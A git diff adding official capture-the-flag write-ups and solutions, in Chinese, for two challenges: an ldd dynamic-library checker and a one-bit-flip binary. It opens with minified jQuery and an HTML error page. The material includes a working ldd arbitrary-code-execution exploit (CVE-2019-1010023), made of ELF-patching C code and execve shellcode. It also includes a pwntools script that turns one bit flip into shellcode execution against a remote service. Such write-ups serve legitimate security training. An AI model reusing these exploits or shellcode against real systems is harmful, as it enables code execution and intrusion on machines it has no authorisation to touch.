    "],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function qe(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function Le(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function He(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Oe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="
    ",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):("number"==typeof f.top&&(f.top+="px"),"number"==typeof f.left&&(f.left+="px"),c.css(f))}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=$e(y.pixelPosition,function(e,t){if(t)return t=Be(e,n),Me.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0 + + + + + + + Token 错误 + + +
    +

    Error: Token 错误

    + +

    Token 错误,题目没有加载,推荐使用比赛平台上的题目链接访问。

    +

    或在以下输入框中粘贴你的完整 token(可以从比赛平台复制):

    + + + +
    + + + + + + diff --git a/official/从零开始的记账工具人/src/docker-compose.yml b/official/从零开始的记账工具人/src/docker-compose.yml new file mode 100644 index 0000000..52ed5a8 --- /dev/null +++ b/official/从零开始的记账工具人/src/docker-compose.yml @@ -0,0 +1,7 @@ +version: "3" +services: + exam: + restart: always + build: . + ports: + - "10002:80" diff --git a/official/动态链接库检查器/README.md b/official/动态链接库检查器/README.md index 562d045..1aaaaec 100644 --- a/official/动态链接库检查器/README.md +++ b/official/动态链接库检查器/README.md @@ -1 +1,33 @@ # 动态链接库检查器 + +在 ldd 的 man 手册页中我们可以查到: + +``` +Security + Be aware that in some circumstances (e.g., where the program speci‐ + fies an ELF interpreter other than ld-linux.so), some versions of ldd + may attempt to obtain the dependency information by attempting to di‐ + rectly execute the program, which may lead to the execution of what‐ + ever code is defined in the program's ELF interpreter, and perhaps to + execution of the program itself. (In glibc versions before 2.27, the + upstream ldd implementation did this for example, although most dis‐ + tributions provided a modified version that did not.) + + Thus, you should never employ ldd on an untrusted executable, since + this may result in the execution of arbitrary code. A safer alterna‐ + tive when dealing with untrusted executables is: + + $ objdump -p /path/to/program | grep NEEDED + + Note, however, that this alternative shows only the direct dependen‐ + cies of the executable, while ldd shows the entire dependency tree of + the executable. +``` + +虽然说 ldd 处理任意的程序是危险的,但常见的 Linux 发行版,包括题目服务器的版本,都避免了这个问题。 + +在网上搜索「ldd exploit」之类的关键词可以查到 CVE-2019-1010023,在[这个链接](https://sourceware.org/bugzilla/show_bug.cgi?id=22851)中,我们可以看到 ldd 任意命令执行的示例代码,然而这个问题并没有被修复。 + +所以我们把示例代码保存成文件,把 `shellcode.asm` 最后的 `cat /etc/passwd` 改成读取 flag 的命令 `cat /flag`,然后在 Linux 环境下使用 `make` 命令编译,得到的 `libevil.so` 就可以上传到题目的网页获得 flag 了。 + +[解题代码](src/solution) diff --git a/official/动态链接库检查器/src/solution/Makefile b/official/动态链接库检查器/src/solution/Makefile new file mode 100644 index 0000000..cb9b647 --- /dev/null +++ b/official/动态链接库检查器/src/solution/Makefile @@ -0,0 +1,16 @@ +all: + gcc -fPIC -shared evil.c -o libevil.so + gcc main.c -levil -L. -o main -Wl,-rpath,./ + gcc make_evil.c -o make_evil -g +evil: all + nasm -fbin shellcode.asm -o shellcode.bin + gcc -fPIC -shared evil.c -T evil.script -o libevil.so + ./make_evil +clean: + rm main libevil.so + +gdb: + gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so + +list: + /lib64/ld-linux-x86-64.so.2 --list ./libevil.so diff --git a/official/动态链接库检查器/src/solution/evil.c b/official/动态链接库检查器/src/solution/evil.c new file mode 100644 index 0000000..ff805ad --- /dev/null +++ b/official/动态链接库检查器/src/solution/evil.c @@ -0,0 +1,10 @@ +#include +#include +#include +#include +#include + +int evil() { + printf("Hello world!\n"); + return 0; +} diff --git a/official/动态链接库检查器/src/solution/evil.script b/official/动态链接库检查器/src/solution/evil.script new file mode 100644 index 0000000..a548475 --- /dev/null +++ b/official/动态链接库检查器/src/solution/evil.script @@ -0,0 +1,24 @@ +OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", + "elf64-x86-64") +OUTPUT_ARCH(i386:x86-64) +ENTRY(_start) +SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib"); +SECTIONS +{ + . = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS; + .text : + { + *(.text) + } + .rela.plt : + { + *(.rela.plt) + } + .dynamic : { *(.dynamic) } + + .got : { *(.got) } + .got.plt : { *(.got.plt) *(.igot.plt) } + .data : { *(.data) } + + /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) } +} diff --git a/official/动态链接库检查器/src/solution/main.c b/official/动态链接库检查器/src/solution/main.c new file mode 100644 index 0000000..53d3210 --- /dev/null +++ b/official/动态链接库检查器/src/solution/main.c @@ -0,0 +1,16 @@ +#include +#include +#include +#include + +extern int evil(); + +char buffer[16536]; +int main() { + evil(); + int fd = open("/proc/self/maps", 0); + int size = read(fd, buffer, sizeof(buffer)); + if (size > 0) + write(0, buffer, size); + return 0; +} diff --git a/official/动态链接库检查器/src/solution/make_evil.c b/official/动态链接库检查器/src/solution/make_evil.c new file mode 100644 index 0000000..e29c87d --- /dev/null +++ b/official/动态链接库检查器/src/solution/make_evil.c @@ -0,0 +1,176 @@ +#include +#include +#include +#include +#include +#include +#include + +off_t get_len(int fd) +{ + off_t length = lseek(fd, 0, SEEK_END); + + lseek(fd, 0, SEEK_SET); + return length; + +} + + +int get_file(char *evilname) +{ + int fd = open(evilname, O_RDWR); + if (fd < 0) + { + printf("Failed to open\n"); + return -1; + } + return fd; +} + +int align(int fd, size_t len, size_t value) +{ + char buffer[4096] = {0}; + size_t rest = value - (len & (value - 1)); + while ( rest > 4096) { + write(fd, buffer, 4096); + rest -= 4096; + } + write(fd, buffer, rest); + return 0; +} + + +int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char* overlay, unsigned long overlay_len) { + + Elf64_Ehdr header = {0}; + + int size = read(fd, &header, sizeof(header)); + if (size < sizeof(header)) + { + printf("read failed\n"); + return -1; + } + if (header.e_ident[EI_CLASS] != ELFCLASS64) + { + printf("Not elf64\n"); + return -1; + } + + if (header.e_phentsize != sizeof(Elf64_Phdr)) + { + printf("unknown phdr struct\n"); + return -1; + } + unsigned long ph_size = header.e_phnum * header.e_phentsize; + + header.e_phnum += new_count; + + off_t off = lseek(fd, 0, SEEK_SET); + if (off == (off_t)-1) + { + printf("bad ph_off\n"); + return -1; + } + size = write(fd, &header, sizeof(header)); + if (size != sizeof(header)) + { + printf("failed to write header\n"); + return -1; + } + + + off = lseek(fd, ph_size + header.e_phoff, SEEK_SET); + if (off == (off_t)-1) + { + printf("bad ph_off\n"); + return -1; + } + + size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr)); + if (size != new_count*sizeof(Elf64_Phdr)) + { + printf("write failed, file corrupted. sorry\n"); + return -1; + } + off = lseek(fd, 0, SEEK_SET); + if (off == (off_t)-1) + { + printf("failed go to start"); + return -1; + } + + off = lseek(fd, 0, SEEK_END); + if (off == (off_t)-1) + { + printf("failed to seek to end\n"); + return -1; + } + align(fd, off, new_heades[0].p_align); + + return 0; +} + + + +char shellcode[4096]; +unsigned long libc_size = 0x26000; +int main() { + int scfd = get_file("shellcode.bin"); + off_t sc_len = get_len(scfd); + read(scfd, shellcode, sc_len); + + int fd = get_file("libevil.so"); + if (fd < 0) + printf("failed open\n"); + + off_t off = get_len(fd); + if (off == (off_t)-1) + { + printf("failed get len\n"); + close(fd); + return -1; + } + + Elf64_Phdr new_headers[2]; + + new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite ld r-x segment + new_headers[0].p_flags = PF_X|PF_R|PF_W; + new_headers[0].p_offset = off + (4096 - (4095&off)); + new_headers[0].p_vaddr = 0x400000; + new_headers[0].p_paddr = 0; + new_headers[0].p_filesz = libc_size; + new_headers[0].p_memsz = 0x200000; + new_headers[0].p_align = 4096; + + if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset) + & (new_headers[0].p_align - 1)) != 0 ) + { + + printf("ELF load command address/offset not properly aligned\n"); + return -1; + } + + new_headers[1].p_type = PT_LOAD; + new_headers[1].p_flags = PF_X|PF_R|PF_W; + new_headers[1].p_offset = 0; + new_headers[1].p_vaddr = 0x200000; + new_headers[1].p_paddr = 0; + new_headers[1].p_filesz = 0; + new_headers[1].p_memsz = 0x200000; + new_headers[1].p_align = 0x200000; + + int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len); + char buffer[4096]; + memset(buffer, 0x90, 4096); + unsigned long size = libc_size; + while(size > 4096) + { + write(fd, buffer, 4096); + size -= 4096; + } + memcpy(buffer + 4095 - sc_len, shellcode, sc_len); + write(fd, buffer, 4096); + + close(fd); + return res; +} diff --git a/official/动态链接库检查器/src/solution/shellcode.asm b/official/动态链接库检查器/src/solution/shellcode.asm new file mode 100644 index 0000000..1336d3e --- /dev/null +++ b/official/动态链接库检查器/src/solution/shellcode.asm @@ -0,0 +1,26 @@ + bits 64 + + push 59 + pop rax ; rax=sys_execve + cdq ; penv=0 + mov rcx, '/bin//sh' + push rdx ; 0 + push rcx ; "/bin//sh" + push rsp + pop rdi ; rdi="/bin//sh", 0 + ; --------- + push rdx ; 0 + push word '-c' + push rsp + pop rbx ; rbx="-c", 0 + push rdx ; NULL + jmp l_cmd64 +r_cmd64: ; command + push rbx ; "-c" + push rdi ; "/bin//sh" + push rsp + pop rsi ; rsi=args + syscall +l_cmd64: + call r_cmd64 + db 'cat /flag', 0 diff --git a/official/超精准的宇宙射线模拟器/README.md b/official/超精准的宇宙射线模拟器/README.md index 5c3d23a..23aaf17 100644 --- a/official/超精准的宇宙射线模拟器/README.md +++ b/official/超精准的宇宙射线模拟器/README.md @@ -1 +1,23 @@ # 超精准的宇宙射线模拟器 + +## 分析程序 + +反编译之后可以看出,程序初始化时将自己的代码段设置为了可写。 + +main 函数中,程序读入一个地址 addr 和一个整数 bit,然后把 addr 地址的第 bit 位翻转,然后程序退出。 + +我们只能翻转一个 bit,但只翻转一个 bit 不足以让我们获得任意命令执行的能力。所以这道题的关键在于,我们要利用翻转的第一个 bit 来创造出一个循环,使得我们可以翻转更多的 bit。可以翻转更多 bit 之后,我们就可以把 shellcode 写入代码段中,然后想办法跳转过去。 + +至于如何创造出循环,懒人做法是在代码段的地址范围内穷举所有地址,直到找到一个翻转后程序可以第二次读取我们输入(而不是崩溃或者正常退出)的位置。 + +我并没有去穷举,而是直接看汇编。 + +0x401295 处是一个 call 指令,调用了 `exit()` 函数退出程序,如果让它不要退出,就可以到达输出 `"Invalid input"` 的地方,然后跳转到输入的地方,形成循环。 + +这个 call 指令调用了 0x4010c0 这个函数,字节码是 `E8 26 FE FF FF`,如果翻转 `26` 的第 6 个 bit,就可以把字节码变成 `E8 66 FE FF FF`,即跳转到 0x401100,这里的逻辑是直接返回。 + +然后,我们利用这个循环来不断把 shellcode 覆盖 0x4010c0 也就是原来的 `exit()` 函数。 + +最后,我们把之前翻转那个 bit 改回去,程序跳转到 0x4010c0,我们的 shellcode 会被执行,就可以拿到 shell 了。 + +[最终的解题代码](src/solve_flip.py) diff --git a/official/超精准的宇宙射线模拟器/src/bitflip b/official/超精准的宇宙射线模拟器/src/bitflip new file mode 100755 index 0000000000000000000000000000000000000000..70a66c9a0b3d4b204f79e9b5025aaaca3e283df6 GIT binary patch literal 16960 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 literal 0 HcmV?d00001 diff --git a/official/超精准的宇宙射线模拟器/src/flip.c b/official/超精准的宇宙射线模拟器/src/flip.c new file mode 100644 index 0000000..0f8ea61 --- /dev/null +++ b/official/超精准的宇宙射线模拟器/src/flip.c @@ -0,0 +1,27 @@ +#include +#include +#include + +__attribute__((constructor)) +void __init(){ + mprotect((void*)0x00401000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); +} + +int main(){ + void *addr; + int bit; +start: + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + puts("You can flip only one bit in my memory. Where do you want to flip?"); + scanf("%p %d", &addr, &bit); + if (bit >= 0 && bit < 8) { + *(unsigned char*)addr ^= 1 << bit; + puts("Done."); + exit(0); + } else { + puts("Invalid input"); + goto start; + } + return 0; +} diff --git a/official/超精准的宇宙射线模拟器/src/solve_flip.py b/official/超精准的宇宙射线模拟器/src/solve_flip.py new file mode 100644 index 0000000..4d250c4 --- /dev/null +++ b/official/超精准的宇宙射线模拟器/src/solve_flip.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python3 + +from pwn import * + +context.log_level='debug' +r = remote('202.38.93.111', 10231) + +r.recvuntil("token: ") +r.sendline("这里填写你的 token") + +def flip(addr, bit): + r.recvuntil('flip?') + r.sendline(hex(addr) + ' ' + str(bit)) + +target = 0x401295 + +flip(target + 1, 6) + +shellcode_start = 0x4010c0 +shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" +e = ELF('./flip') +for i in range(len(shellcode)): + b = shellcode[i] ^ e.read(shellcode_start + i, 1)[0] + for j in range(8): + if (b >> j) & 1: + flip(shellcode_start + i, j) + +flip(target + 1, 6) + +r.interactive()